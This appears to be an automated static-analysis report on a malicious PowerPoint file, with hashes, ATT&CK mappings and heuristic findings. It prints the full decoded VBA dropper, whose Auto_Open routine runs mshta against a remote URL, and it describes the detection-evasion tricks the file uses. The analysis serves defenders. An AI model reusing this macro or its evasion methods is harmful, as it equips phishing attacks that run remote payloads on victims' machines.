Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a782285f1b9ee7ce…

MALICIOUS

Office (OOXML)

8.7 KB First seen: 2021-06-13
MD5: e4c3f31ecdafcda0fa615fdedfcc0513 SHA-1: 8d06efd6912296dfed548a4c0afcef355ef0f15a SHA-256: a782285f1b9ee7ceef60c568aabd624f8082d76eaf900f53d020f581146928bf
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.004 Client Execution: System Binary Proxy Execution T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that executes a command. This macro leverages the GetObject function to instantiate the WScript.Shell COM object, which is then used to run mshta.exe. The command constructed is 'mshta https://1230948%1230948@bitly.com/awkdhikhasd', indicating the document is designed to download and execute a payload from the specified URL using mshta.exe, a common LOLBAS utility.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/ooo.bin)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
        getEnumName = "mshta "
    Case 2
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://1230948%1230948@bitly.com/awkdhikhasd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1000 bytes
SHA-256: 535ac02d02c09170c9c69383bcf26be25605b8aea5a4b6fa4e97bcc471e01e8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Enum myenum

    myname1 = 1
    myname2 = 2
    myname3 = 3
    myname4 = 4
    
    End Enum
    
Public Function getEnumName(eValue As myenum)
Select Case eValue
    Case 1
        getEnumName = "mshta "
    Case 2
        getEnumName = " https://1230948%1230948@bitly.com/awkdhikhasd"
    End Select
End Function


Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function




Attribute VB_Name = "Module11"
Sub auto_open()

Dim bora As New Class1

Dim NamakBora, lora As String
NamakBora = bora.getEnumName(1)
lora = bora.getEnumName(2)
lora2 = NamakBora + lora


bora. _
myvalue. _
Run lora2

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/ooo.bin 18432 bytes
SHA-256: 86e3f0a44f4d4b8dae744588b839de98f8460523609b3852e07884ca2586bb1e

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